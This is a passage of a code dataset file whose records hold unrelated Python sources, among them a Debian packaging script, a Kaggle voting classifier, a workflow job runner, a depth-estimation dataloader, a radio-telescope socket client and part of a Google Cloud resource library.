package '\n 'name was not specified in options'))\n\n #Ask user if he wants to run tests\n if not project['tests'] and os.path.exists('test'):\n project['tests'] = ask_yn('Run tests?')\n\n #Treat dependencies that are not available\n project['dependencies'] = handle_missing_deps(project['dependencies'])\n\n LOG.debug('Option variables: {}'.format(options))\n LOG.debug('Configuration file variables: {}'.format(conf))\n LOG.debug('Project variables: {}'.format(project))\n\n return project\n\n\ndef run():\n try:\n project_vars = load_project_variables()\n populate_debian_folder(project_vars)\n except KeyboardInterrupt:\n LOG.warning('Interrupted by user')\n except chexcept.PropertyFileError as e:\n LOG.error(e)\n sys.exit(chexcept.EPROPERTY)\n except chexcept.DebianTemplateError as e:\n msg = 'Error when populating debian folder: {}'\n msg = msg.format(e)\n LOG.error(msg)\n sys.exit(chexcept.ETEMPLATE)\n except configparser.ParsingError as e:\n LOG.error('There was a problem during parsing: {}'.format(e))\n sys.exit(chexcept.ECONFPARSE)\n except configparser.Error as e:\n msg = 'There was a problem with the configuration file: {}'\n msg = msg.format(e)\n LOG.error(msg)\n sys.exit(chexcept.ECONFPARSE)\n finally:\n if os.path.exists('project.xml'):\n os.remove('project.xml')\n if os.path.exists('pom.xml.lein'):\n os.remove('pom.xml.lein')\n\n\nif __name__ == '__main__':\n run()\n","sub_path":"leinpkg/lein_makepkg.py","file_name":"lein_makepkg.py","file_ext":"py","file_size_in_byte":7874,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"101260789","text":"import os\nimport sys\n\ntry:\n import competition as _\nexcept ImportError as ex:\n sys.path.append(os.path.abspath(__file__ + '/../..'))\n\nimport lightgbm as lgb\nimport pandas as pd\nfrom pandas import DataFrame\nfrom sklearn.model_selection import train_test_split\n# plt.rcParams['font.sans-serif'] = ['Microsoft YaHei'] # 用来正常显示中文标签\nfrom utils import get_current_path\n\ncurrent_path = get_current_path(__file__)\ntrain_file_path = current_path + '/data/train2016.csv'\ntest_file_path = current_path + '/data/test2016.csv'\n\nPROCESSED_TEST_CSV_ = current_path + '/data/processed_test.csv'\nPROCESSED_TRAIN_CSV_ = current_path + '/data/processed_train.csv'\nTHRESHOLD=0.5\n\nMAPPING = {\n \"Democrat\": 0, \"Republican\": 1,\n \"under $25,000\": 0, \"$25,001 - $50,000\": 1, \"$50,000 - $74,999\": 2, \"$75,000 - $100,000\": 3,\n \"$100,001 - $150,000\": 4, \"over $150,000\": 5,\n \"Domestic Partners (no kids)\": 0, \"Domestic Partners (w/kids)\": 1, \"Married (no kids)\": 2,\n \"Married (w/kids)\": 3, \"Single (no kids)\": 4, \"Single (w/kids)\": 5,\n \"Current K-12\": 0, \"High School Diploma\": 1, \"Current Undergraduate\": 3, \"Associate's Degree\": 4,\n \"Bachelor's Degree\": 5, \"Master's Degree\": 6, \"Doctoral Degree\": 7,\n 'Yes': 1, 'No': 0,\n 'Male': 1, 'Female': 0,\n 'Only-child': 0,\n 'Check!': 1, 'Nope': 0,\n 'Optimist': 0, 'Pessimist': 1,\n 'Mom': 0, 'Dad': 1,\n 'Rent': 0, 'Own': 1, 'Yay people!': 0, 'Grrr people': 1, 'Online': 0, 'In-person': 1, 'Yes!': 0, 'Umm...': 1,\n 'Socialize': 0, 'Space': 1,\n 'Cautious': 0, 'Risk-friendly': 1,\n 'Mac': 0, 'PC': 1,\n 'Supportive': 0, 'Demanding': 1,\n 'Tunes': 0, 'Talk': 1,\n 'People': 0, 'Technology': 1,\n 'TMI': 0, 'Mysterious': 1,\n 'Start': 0, 'End': 1,\n 'Circumstances': 0, 'Me': 1,\n 'A.M.': 0, 'P.M.': 1,\n 'Happy': 0, 'Right': 1,\n 'Hot headed': 0, 'Cool headed': 1,\n 'Standard hours': 0, 'Odd hours': 1,\n 'Idealist': 0, 'Pragmatist': 1,\n 'Giving': 0, 'Receiving': 1,\n 'Study first': 0, 'Try first': 1,\n 'Science': 0, 'Art': 1,\n 'Public': 0, 'Private': 1,\n}\n\n# train_df = pd.read_csv(train_file_path)\n# for item in MAPPING.items():\n# train_df.replace(item[0], item[1], inplace=True)\n# train_df.to_csv(PROCESSED_TRAIN_CSV_, index=False)\n#\n# test_df = pd.read_csv(test_file_path)\n# for item in MAPPING.items():\n# test_df.replace(item[0], item[1], inplace=True)\n# test_df.to_csv(PROCESSED_TEST_CSV_, index=False)\n\ntrain_df = pd.read_csv(PROCESSED_TRAIN_CSV_)\ntest_df = pd.read_csv(PROCESSED_TEST_CSV_)\n\ntrain_df, eval_df= train_test_split(train_df, test_size=0.25)\ntrain_dataset = lgb.Dataset(data=train_df.drop(['Party','USER_ID'], axis=1), label=train_df['Party'])\neval_dataset = lgb.Dataset(data=eval_df.drop(['Party', 'USER_ID'], axis=1), label=eval_df['Party'])\n\nparam = {'task': 'train',\n 'boosting': 'gbdt',\n 'application': 'binary',\n 'metric': 'auc',\n 'verbose': 0,\n 'device': 'gpu',\n 'num_leaves': 127,\n 'learning_rate': 0.001,\n 'max_bin': 255,\n 'feature_fraction': 0.6,\n # 'min_data_in_leaf': 7\n }\n\nclf = lgb.train(param, train_dataset, early_stopping_rounds=400, num_boost_round=20000, valid_sets=eval_dataset)\n\ntest_X = test_df.drop(['USER_ID'], axis=1).as_matrix()\nif clf.best_iteration:\n predictions = clf.predict(test_X, num_iteration=clf.best_iteration)\nelse:\n predictions = clf.predict(test_X)\n\n\nsubmission = DataFrame({'USER_ID': test_df['USER_ID'].as_matrix(),\n 'Predictions': predictions})\nsubmission['Predictions'] = submission['Predictions'].apply(lambda x: 'Republican' if x >= THRESHOLD else 'Democrat')\nsubmission.to_csv(current_path + '/result.csv', columns=['USER_ID', 'Predictions'], index=False)\n","sub_path":"competition/kaggle/can-we-predict-voting-outcomes/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3769,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"36566810","text":"from sys import prefix\nimport os\nfrom signal import SIGQUIT, SIGTSTP, SIGCONT\nfrom subprocess import Popen, PIPE\nimport tempfile\nfrom threading import Thread, Lock\nfrom time import sleep\n\nimport yaml\n\nfrom workflow_service.models import State\n\n\ndef makedirs(path):\n try:\n os.makedirs(path)\n except OSError:\n if not os.path.isdir(path):\n raise\n\n\nclass JobRunner(Thread): # pylint: disable=R0902\n # pylint: disable=R0913\n \"\"\"\n Args:\n onsuccess: action that is performed when any job finishes\n successfully. Its signature must be in the form of\n f(JobRunner) -> None\n onfailure: action that is performed when any job fails.\n Its signature must be in the form of\n f(JobRunner) -> None\n \"\"\"\n def __init__(self, wf_path, input_obj, uuid,\n onfinishing=lambda *args, **kwargs: None):\n super(JobRunner, self).__init__()\n\n self._inputobj = input_obj\n self._onfinishing = onfinishing\n self.uuid = uuid\n\n self.state = State.Running\n self.output = None\n\n self.outdir = os.path.join(\n tempfile.gettempdir(), str(self.uuid), 'out')\n makedirs(self.outdir)\n loghandle, self.logname =\\\n tempfile.mkstemp(dir=os.path.split(self.outdir)[0])\n\n self._updatelock = Lock()\n\n with self._updatelock:\n self._proc = Popen([prefix + u'/bin/python',\n u'-m',\n u'cwltool',\n u'--leave-outputs', wf_path, u'-'],\n stdin=PIPE,\n stdout=PIPE,\n stderr=loghandle,\n close_fds=True,\n cwd=self.outdir)\n\n def run(self):\n stdoutdata, _ = self._proc.communicate(self._inputobj)\n if self._proc.returncode == 0:\n outobj = yaml.load(stdoutdata)\n state = State.Complete\n else:\n outobj = {}\n state = State.Error\n\n with self._updatelock:\n self.state = state\n self.output = outobj\n self._onfinishing(self)\n\n def logspooler(self):\n with open(self.logname, 'r') as logfile:\n chunk = logfile.readline(4096)\n try:\n while chunk:\n yield chunk\n chunk = logfile.readline(4096)\n\n while self.state == State.Running:\n if chunk:\n yield chunk\n else:\n sleep(1)\n chunk = logfile.readline(4096)\n except IOError:\n pass\n\n def cancel(self):\n with self._updatelock:\n if self.state == State.Running:\n self._proc.send_signal(SIGQUIT)\n self.state = State.Canceled\n\n def pause(self):\n with self._updatelock:\n if self.state == State.Running:\n self._proc.send_signal(SIGTSTP)\n self.state = State.Paused\n\n def resume(self):\n with self._updatelock:\n if self.state == State.Paused:\n self._proc.send_signal(SIGCONT)\n self.state = State.Running\n\n def __repr__(self):\n return u'JobRunner {}:\\t{}\\t{}'.format(self.uuid, self.state, self.output)\n","sub_path":"workflow_service/job_runner.py","file_name":"job_runner.py","file_ext":"py","file_size_in_byte":3461,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"649533856","text":"from src.service import *\nfrom src.database import *\nfrom decouple import config\n\nTOKEN_ORIGEM = config('TOKEN_ORIGEM')\nTOKEN_DESTINO = config('TOKEN_DESTINO')\n\norigem = buscarTodos('tipo-ato', TOKEN_ORIGEM, 100)\n\nlotes = []\nidsOrigem = []\n\nfor i in origem:\n\n if (buscarRegistro(i['id'], 'tipo-ato')) > 0:\n continue \n\n idsOrigem.append(i['id'])\n\n i.pop('id')\n i.pop('version') \n\n for j in i['camposAdicionais']['campos']:\n j['id'] = buscarIdDestino('campo-adicional-campos', j['id']) \n\n conteudo = { 'conteudo': i }\n\n lotes.append(conteudo) \n\nif len(lotes) > 0:\n inserir('tipo-ato', idsOrigem, lotes, 100, TOKEN_DESTINO)\nelse:\n print(\"Já foram migrados os dados!\\n-\")","sub_path":"src/service-layer/tipo-ato.py","file_name":"tipo-ato.py","file_ext":"py","file_size_in_byte":727,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"283729157","text":"from tqdm import tqdm\nimport requests\n\nurl = \"https://github.com/leenuu/food_sd/archive/master.zip\" #big file test\n# Streaming, so we can iterate over the response.\nresponse = requests.get(url, stream=True)\ntotal_size_in_bytes= int(response.headers.get('content-length', 0))\nblock_size = 1024 #1 Kibibyte\nprogress_bar = tqdm(total=total_size_in_bytes, unit='iB', unit_scale=True)\nwith open('test.dat', 'wb') as file:\n for data in response.iter_content(block_size):\n progress_bar.update(len(data))\n file.write(data)\nprogress_bar.close()\nif total_size_in_bytes != 0 and progress_bar.n != total_size_in_bytes:\n print(\"ERROR, something went wrong\")","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":664,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"129940097","text":"n = int(input())\n\nnIn, nOut = 0, 0\n\nfor x in range(n):\n a = int(input())\n if(a>=10 and a<=20):\n nIn += 1\n else:\n nOut += 1\n\nprint(f'{nIn} in\\n{nOut} out')","sub_path":"atividade/1072_interval2.py","file_name":"1072_interval2.py","file_ext":"py","file_size_in_byte":163,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"350426442","text":"import os\nimport os.path\nimport numpy as np\nimport torch.utils.data as data\nimport h5py\nimport cv2\nimport dataloaders.transforms as transforms\nfrom estimate_pose import get_pose\n\nIMG_EXTENSIONS = ['.h5',]\n\n\ndef is_image_file(filename):\n return any(filename.endswith(extension) for extension in IMG_EXTENSIONS)\n\ndef find_classes(dir):\n classes = [d for d in os.listdir(dir) if os.path.isdir(os.path.join(dir, d))]\n classes.sort()\n class_to_idx = {classes[i]: i for i in range(len(classes))}\n return classes, class_to_idx\n\ndef make_dataset(dir, class_to_idx):\n images = []\n dir = os.path.expanduser(dir)\n for target in sorted(os.listdir(dir)):\n d = os.path.join(dir, target)\n if not os.path.isdir(d):\n continue\n for root, _, fnames in sorted(os.walk(d)):\n for fname in sorted(fnames):\n if is_image_file(fname):\n path = os.path.join(root, fname)\n item = (path, class_to_idx[target])\n images.append(item)\n return images\n\ndef h5_loader(path):\n h5f = h5py.File(path, \"r\")\n rgb = np.array(h5f['rgb'])\n rgb = np.transpose(rgb, (1, 2, 0))\n depth = np.array(h5f['depth'])\n return rgb, depth\n\ndef near_rgb(path,loader):\n\n filename = os.path.basename(path)\n frame_id = filename.split(\".\")[0]\n file_ext = filename.split(\".\")[1]\n filepath = os.path.split(path)[0]\n str_len = len(frame_id)\n window = 6\n found = False\n paths_tested = []\n for k in range(-window,window):\n if (k==0):\n continue\n fid = int(frame_id)+k\n fid_str = str(fid).zfill(str_len)\n new_file_path = os.path.join(filepath,fid_str+\".\"+file_ext)\n paths_tested.append(new_file_path)\n if (os.path.exists(new_file_path)):\n found = True\n break\n \n if (found):\n rgb,depth = h5_loader(new_file_path)\n return rgb\n else:\n print(\"Near not found for \", path, \" new = \", paths_tested)\n return None \n\n# def rgb2grayscale(rgb):\n# return rgb[:,:,0] * 0.2989 + rgb[:,:,1] * 0.587 + rgb[:,:,2] * 0.114\n\nto_tensor = transforms.ToTensor()\n\nto_float_tensor = lambda x: to_tensor(x).float()\n\nclass MyDataloader(data.Dataset):\n modality_names = ['rgb', 'rgbd', 'd'] # , 'g', 'gd'\n color_jitter = transforms.ColorJitter(0.4, 0.4, 0.4)\n\n def __init__(self, root, type, sparsifier=None, modality='rgb', loader=h5_loader):\n classes, class_to_idx = find_classes(root)\n imgs = make_dataset(root, class_to_idx)\n assert len(imgs)>0, \"Found 0 images in subfolders of: \" + root + \"\\n\"\n print(\"Found {} images in {} folder.\".format(len(imgs), type))\n self.root = root\n self.imgs = imgs\n self.classes = classes\n self.class_to_idx = class_to_idx\n self.mode = type\n if type == 'train':\n self.transform = self.train_transform\n elif type == 'val':\n self.transform = self.val_transform\n else:\n raise (RuntimeError(\"Invalid dataset type: \" + type + \"\\n\"\n \"Supported dataset types are: train, val\"))\n self.loader = loader\n self.sparsifier = sparsifier\n\n self.K = None\n self.output_size = None\n\n assert (modality in self.modality_names), \"Invalid modality type: \" + modality + \"\\n\" + \\\n \"Supported dataset types are: \" + ''.join(self.modality_names)\n self.modality = modality\n\n def train_transform(self, rgb, depth):\n raise (RuntimeError(\"train_transform() is not implemented. \"))\n\n def val_transform(rgb, depth):\n raise (RuntimeError(\"val_transform() is not implemented.\"))\n\n def create_sparse_depth(self, rgb, depth):\n if self.sparsifier is None:\n return depth\n else:\n mask_keep = self.sparsifier.dense_to_sparse(rgb, depth)\n sparse_depth = np.zeros(depth.shape)\n sparse_depth[mask_keep] = depth[mask_keep]\n return sparse_depth\n\n def create_rgbd(self, rgb, depth):\n sparse_depth = self.create_sparse_depth(rgb, depth)\n rgbd = np.append(rgb, np.expand_dims(sparse_depth, axis=2), axis=2)\n return rgbd\n\n def __getraw__(self, index):\n \"\"\"\n Args:\n index (int): Index\n\n Returns:\n tuple: (rgb, depth) the raw data.\n \"\"\"\n path, target = self.imgs[index]\n rgb, depth = self.loader(path)\n rgb_near = near_rgb(path,self.loader)\n return rgb, depth, rgb_near\n\n def __getitem__(self, index):\n rgb, depth, rgb_near = self.__getraw__(index)\n if self.transform is not None:\n rgb_np, depth_np, rgb_near_np = self.transform(rgb, depth,rgb_near)\n else:\n raise(RuntimeError(\"transform not defined\"))\n\n # If in train mode, compute pose for near image\n #print(\"K = \", self.K)\n rot_mat, t_vec = None, None\n if self.mode == \"train\":\n rgb_cv = (rgb_np*255).astype(np.uint8)\n rgb_near_cv = (rgb_near_np*255).astype(np.uint8)\n succ, rot_vec, t_vec = get_pose(rgb_cv, depth_np, rgb_near_cv, self.K)\n if succ:\n rot_mat, _ = cv2.Rodrigues(rot_vec)\n else:\n rgb_near_np = rgb_np\n t_vec = np.zeros((3,1))\n rot_mat = np.eye(3)\n \n # color normalization\n # rgb_tensor = normalize_rgb(rgb_tensor)\n # rgb_np = normalize_np(rgb_np)\n\n if self.modality == 'rgb':\n input_np = rgb_np\n elif self.modality == 'rgbd':\n input_np = self.create_rgbd(rgb_np, depth_np)\n elif self.modality == 'd':\n input_np = self.create_sparse_depth(rgb_np, depth_np)\n\n\n #input_tensor = to_tensor(input_np)\n #while input_tensor.dim() < 3:\n # input_tensor = input_tensor.unsqueeze(0)\n #depth_tensor = to_tensor(depth_np)\n #depth_tensor = depth_tensor.unsqueeze(0)\n #rgb_near_tensor = to_tensor(rgb_near)\n #print(input_np.shape) \n candidates = {\"rgb\":rgb_np, \"gt\":np.expand_dims(depth_np,-1), \"d\":input_np[:,:,3:], \\\n \"r_mat\":rot_mat, \"t_vec\":t_vec, \"rgb_near\":rgb_near_np}\n\n\n #print(self.K)\n intrinsics = {\"fx\":self.K[0,0],\n \"fy\":self.K[1,1],\n \"cx\":self.K[0,2],\n \"cy\":self.K[1,2],\n \"output_size\" : self.output_size}\n items = {key:to_float_tensor(val) for key, val in candidates.items() if val is not None}\n\n \n return items, intrinsics\n \n #return input_tensor, depth_tensor\n\n def __len__(self):\n return len(self.imgs)\n\n # def __get_all_item__(self, index):\n # \"\"\"\n # Args:\n # index (int): Index\n\n # Returns:\n # tuple: (input_tensor, depth_tensor, input_np, depth_np)\n # \"\"\"\n # rgb, depth = self.__getraw__(index)\n # if self.transform is not None:\n # rgb_np, depth_np = self.transform(rgb, depth)\n # else:\n # raise(RuntimeError(\"transform not defined\"))\n\n # # color normalization\n # # rgb_tensor = normalize_rgb(rgb_tensor)\n # # rgb_np = normalize_np(rgb_np)\n\n # if self.modality == 'rgb':\n # input_np = rgb_np\n # elif self.modality == 'rgbd':\n # input_np = self.create_rgbd(rgb_np, depth_np)\n # elif self.modality == 'd':\n # input_np = self.create_sparse_depth(rgb_np, depth_np)\n\n # input_tensor = to_tensor(input_np)\n # while input_tensor.dim() < 3:\n # input_tensor = input_tensor.unsqueeze(0)\n # depth_tensor = to_tensor(depth_np)\n # depth_tensor = depth_tensor.unsqueeze(0)\n\n # return input_tensor, depth_tensor, input_np, depth_np\n","sub_path":"dataloaders/dataloader.py","file_name":"dataloader.py","file_ext":"py","file_size_in_byte":7918,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"339686732","text":"# uncompyle6 version 3.6.7\n# Python bytecode 3.5 (3350)\n# Decompiled from: Python 3.8.2 (tags/v3.8.2:7b3ab59, Feb 25 2020, 23:03:10) [MSC v.1916 64 bit (AMD64)]\n# Embedded file name: build/bdist.linux-x86_64/egg/pyosci/plotting.py\n# Compiled at: 2016-10-03 06:21:41\n# Size of source mod 2**32: 2713 bytes\n__doc__ = '\\nConvenient plot functions\\n\\n'\nimport pylab as p, seaborn.apionly as sb\nfrom copy import copy\np.style.use('pyoscidefault')\n\ndef plot_waveform(wf_header, wf_data, fig=None, savename=None, use_mv_and_ns=True, color=sb.color_palette('dark')[0]):\n \"\"\"\n Make a plot of a single acquisition\n\n Args:\n wf_header (dict): custom waveform header\n wf_data (np.ndarray): waveform data\n\n Keyword Args:\n fig (pylab.figure): A figure instance\n savename (str): where to save the figure (full path)\n use_mv_and_ns (bool): use mV and ns instead of V and s\n Returns:\n pylab.fig\n \"\"\"\n if fig is None:\n fig = p.figure()\n ax = fig.gca()\n xlabel = wf_header['xunit']\n ylabel = wf_header['yunit']\n xs = copy(wf_header['xs'])\n ys = copy(wf_data)\n if xlabel == 's' and ylabel == 'V' and use_mv_and_ns:\n xs *= 1000000000.0\n ys *= 1000.0\n xlabel = 'ns'\n ylabel = 'mV'\n ax.plot(xs, ys, color=color)\n ax.grid()\n sb.despine(fig)\n ax.set_xlabel(xlabel)\n ax.set_ylabel(ylabel)\n p.tight_layout()\n if savename is not None:\n fig.savefig(savename)\n return fig\n\n\ndef plot_histogram(bincenters, bincontent, fig=None, savename='test.png', remove_empty_bins=True):\n \"\"\"\n Plot a histogram returned by TektronixDPO4104B.get_histogram\n Use pylab.plot\n\n Args:\n bincenters (np.ndarray); bincenters (x)\n bincontent (np.ndarray): bincontent (y)\n\n Keyword Args:\n fig (pylab.figure): A figure instance\n savename (str): where to save the figure (full path)\n remove_empty_bins (bool): Cut away preceeding and trailing zero bins\n\n \"\"\"\n if fig is None:\n fig = p.figure()\n ax = fig.gca()\n if remove_empty_bins:\n bmin = min(bincenters[(bincontent > 0)])\n bmax = max(bincenters[(bincontent > 0)])\n bincenters = bincenters[np.logical_and(bincenters >= bmin, bincenters <= bmax)]\n bincontent = bincontent[np.logical_and(bincenters >= bmin, bincenters <= bmax)]\n ax.plot(bincenters, bincontent, color=sb.color_palette('dark')[0])\n ax.grid()\n sb.despine(fig)\n ax.set_xlabel('amplitude')\n ax.set_ylabel('log nevents ')\n p.tight_layout()\n fig.savefig(savename)\n return fig","sub_path":"pycfiles/PyOscope-1.0.1.tar/plotting.cpython-35.py","file_name":"plotting.cpython-35.py","file_ext":"py","file_size_in_byte":2594,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"468016248","text":"#!/usr/bin/env python\n\nimport os, socket, fcntl\nfrom time import sleep\n\ntry:\n from .srtconf import *\nexcept ValueError:\n from srtconf import *\n\nCONN_DISCONN = -1\nCONN_SUCCESS = 0\nCONN_MAYBE = 1\nCONN_NOTSURE = 2\nDIRECT_UP = 3\nDIRECT_HINC = 1\nDIRECT_DOWN = 2\nDIRECT_HDEC = 0\n\ndef _addr_from_dict(conf):\n return (conf['host'], conf['port'])\n\nclass SrtConn(object):\n # init\n def __init__(self, addr=None):\n self._clear_state_vars()\n self.__init_addr__(addr)\n def __init_addr__(self, addr):\n self._conn = None\n if type(addr) == str:\n g = {}\n l = {}\n execfile(addr, g, l)\n self._addr = _addr_from_dict(l)\n elif hasattr(addr, '__getitem__'):\n try:\n self._addr = _addr_from_dict(addr)\n except (KeyError, TypeError):\n self._addr = (addr[0], addr[1])\n else:\n self._addr = _addr_from_dict(def_cfg)\n def _clear_state_vars(self, cstate=True):\n if cstate:\n self._state = CONN_DISCONN\n self.others = None\n self._recv_buff = b''\n\n # connection\n def conn(self):\n self._clear_state_vars()\n self._conn = socket.socket()\n fd = self._conn.fileno()\n flg = fcntl.fcntl(fd, fcntl.F_GETFD)\n fcntl.fcntl(fd, fcntl.F_SETFD, flg | fcntl.FD_CLOEXEC)\n try:\n self._conn.connect(self._addr)\n except socket.error:\n return\n self._state = CONN_NOTSURE\n def disconn(self):\n if self._conn != None:\n try:\n self._send_req('bye. ')\n except socket.error:\n pass\n self._conn.close()\n self._conn = None\n self._clear_state_vars(self._state in [CONN_SUCCESS, CONN_NOTSURE])\n\n # send\n def _send_req(self, string):\n if self._conn == None:\n return\n if string[-1:] != '\\n':\n string += '\\n'\n self._conn.send(string.encode('utf-8'))\n def send_confirm(self):\n self._send_req('GotIt.')\n def _send_cmd(self, cmd, *args):\n if len(args) == 1 and not (type(args[0]) == str or\n hasattr(args[0], '__getitem__')):\n args = args[0]\n args = [str(i) for i in args]\n self._send_req(\"%s %s \" % (cmd, ' '.join(args)))\n\n # receive\n def _next_reply_str(self):\n if self._conn == None:\n return None\n while not b'\\n' in self._recv_buff:\n try:\n self._recv_buff += self._conn.recv(2048)\n except socket.error:\n return None\n n = self._recv_buff.index(b'\\n')\n try:\n reply = self._recv_buff[:n].decode('utf-8')\n except UnicodeDecodeError:\n return None\n self._recv_buff = self._recv_buff[n + 1:]\n return reply\n def _next_reply(self):\n reply_str = self._next_reply_str()\n if reply_str == None:\n return None\n return reply_str.split(' ')\n\n # send api\n def ask_busy(self):\n self._send_req('RUBUSY?')\n def move(self, direct, count):\n if direct in ['up', DIRECT_UP]:\n direct = DIRECT_UP\n elif direct in ['down', DIRECT_DOWN]:\n direct = DIRECT_DOWN\n elif direct in ['hinc', 'hincrease', DIRECT_HINC]:\n direct = DIRECT_HINC\n elif direct in ['hdec', 'hdecrease', DIRECT_HDEC]:\n direct = DIRECT_HDEC\n else:\n return None\n self._send_cmd('move', direct, count)\n return True\n def radio(self, freq, mode=1):\n if not mode in [1, 2, 3]:\n mode = 1\n # In order to consistent with java gui convention\n self._send_cmd('radio', freq, mode - 1)\n return True\n def source(self, on):\n if on:\n self._send_cmd('move', 7, 0)\n else:\n self._send_cmd('move', 6, 0)\n return True\n\n # receive api\n def next_reply(self):\n reply = self._next_reply()\n if reply == None:\n self._state = CONN_DISCONN\n self.disconn()\n elif reply[0] == 'NO':\n self._state = CONN_SUCCESS\n elif reply[0] == 'YES':\n self._state = CONN_DISCONN\n self.disconn()\n elif reply[0] == 'MAYBE':\n self._state = CONN_MAYBE\n self.disconn()\n return reply\n\n # utility functions\n def __bool__(self):\n if self._state == CONN_SUCCESS:\n return True\n return False\n def get_state(self):\n return self._state\n def __del__(self):\n self.disconn()\n def fd(self):\n if self._conn == None:\n return None\n return self._conn.fileno()\n\n # sync api for debug or hacking only\n def ensure_free(self):\n if self._state == CONN_DISCONN:\n return False\n elif self._state == CONN_SUCCESS:\n return True\n else:\n for i in range(10):\n if self._state == CONN_MAYBE:\n self.conn()\n self.ask_busy()\n self.next_reply()\n if self._state == CONN_SUCCESS:\n return True\n elif self._state == CONN_DISCONN:\n return False\n self._state = CONN_DISCONN\n self.disconn()\n return False\n","sub_path":"21cm/srtctrl/srtconn.py","file_name":"srtconn.py","file_ext":"py","file_size_in_byte":5399,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"72203298","text":"import aiohttp\nimport asyncio\n\n\n# Create single session\nasync def create_session():\n return aiohttp.ClientSession()\nloop = asyncio.get_event_loop()\nsession = loop.run_until_complete(create_session())\n\n\n# Make request and convert json data, return 0 if unable to retrieve data\nasync def request(data):\n async with session.get(f'https://api.warframestat.us/pc/{data}') as res:\n if res.status is 200:\n return await res.json() #\n else:\n return 0\n","sub_path":"src/sess.py","file_name":"sess.py","file_ext":"py","file_size_in_byte":484,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"651139151","text":"# Copyright 2019 The resource-policy-evaluation-library Authors. All rights reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\nimport re\nfrom urllib.parse import urlparse\nfrom .base import Resource\nfrom rpe.exceptions import is_retryable_exception\nfrom rpe.exceptions import ResourceException\nfrom rpe.exceptions import UnsupportedRemediationSpec\nfrom rpe.exceptions import InvalidRemediationSpecStep\nimport tenacity\nfrom googleapiclienthelpers.discovery import build_subresource\nfrom googleapiclienthelpers.waiter import Waiter\n\n\nclass GoogleAPIResource(Resource):\n\n # Names of the get and update methods. Most are the same but override in\n # the Resource if necessary\n resource_property = None\n get_method = \"get\"\n update_method = \"update\"\n required_resource_data = ['name']\n\n parent_cls = None\n\n # If a resource is not in a ready state, we can't update it. If we retrieve\n # it, and the state changes, updates will be rejected because the ETAG will\n # have changed. If a resource defines readiness criteria, the get() call\n # will wait until the resource is in a ready state to return\n #\n # Key/Value to check to see if a resource is ready\n readiness_key = None\n readiness_value = None\n readiness_terminal_values = []\n\n def __init__(self, client_kwargs={}, **resource_data):\n\n # Set some defaults\n self._service = None\n self._parent_resource = None\n\n # Load and validate additional resource data\n self._resource_data = resource_data\n self._validate_resource_data()\n\n # Store the client kwargs to pass to any new clients\n self._client_kwargs = client_kwargs\n\n # Support original update method until we can deprecate it\n self.update = self.remediate\n\n self._ancestry = None\n\n def _validate_resource_data(self):\n ''' Verify we have all the required data for this resource '''\n if not all(arg in self._resource_data for arg in self.required_resource_data):\n\n raise ResourceException(\n 'Missing data required for resource creation. Expected data: {}; Got: {}'.format(\n ','.join(self.required_resource_data),\n ','.join(self._resource_data.keys())\n )\n )\n\n def is_property(self):\n return self.resource_property is not None\n\n @staticmethod\n def _extract_cai_name_data(name):\n ''' Attempt to get identifiable information out of resource_name '''\n\n # Most resources need only a subset of these fields to query the google apis\n fields = {\n 'project_id': r'/projects/([^\\/]+)/',\n 'location': r'/(?:locations|regions|zones)/([^\\/]+)/',\n 'name': r'([^\\/]+)$',\n\n\n # Less-common resource data\n # AppEngine\n 'app': r'/apps/([^\\/]+)/',\n 'service': r'/services/([^\\/]+)/',\n 'version': r'/versions/([^\\/]+)/',\n\n # NodePools\n 'cluster': r'/clusters/([^\\/]+)/',\n }\n\n resource_data = {}\n\n # Extract available resource data from resource name\n for field_name in fields:\n m = re.search(fields[field_name], name)\n if m:\n resource_data[field_name] = m.group(1)\n\n return resource_data\n\n @staticmethod\n def from_cai_data(resource_name, asset_type, content_type='resource', project_id=None, client_kwargs={}):\n\n # CAI classifies things by content_type (ex: resource or iam)\n # and asset_type (ex: storage bucket or container cluster)\n cai_map = {\n 'resource': {\n\n # App Engine instances show up as compute instances in CAI exports. We've chosen to\n # define our own asset_type and do some munging outside of rpelib\n 'appengine.googleapis.com/Instance': GcpAppEngineInstance,\n\n 'bigquery.googleapis.com/Dataset': GcpBigqueryDataset,\n 'bigtableadmin.googleapis.com/Instance': GcpBigtableInstance,\n\n # Cloudfunctions are not currently supported by CAI. We reached out to the CAI team\n # to find out what the asset_type would likely be\n 'cloudfunctions.googleapis.com/CloudFunction': GcpCloudFunction,\n\n 'compute.googleapis.com/Instance': GcpComputeInstance,\n 'compute.googleapis.com/Disk': GcpComputeDisks,\n 'compute.googleapis.com/Subnetwork': GcpComputeSubnetwork,\n 'compute.googleapis.com/Firewall': GcpComputeFirewall,\n 'dataproc.googleapis.com/Cluster': GcpDataprocCluster,\n 'container.googleapis.com/Cluster': GcpGkeCluster,\n 'container.googleapis.com/NodePool': GcpGkeClusterNodepool,\n 'pubsub.googleapis.com/Subscription': GcpPubsubSubscription,\n 'pubsub.googleapis.com/Topic': GcpPubsubTopic,\n 'storage.googleapis.com/Bucket': GcpStorageBucket,\n 'sqladmin.googleapis.com/Instance': GcpSqlInstance,\n 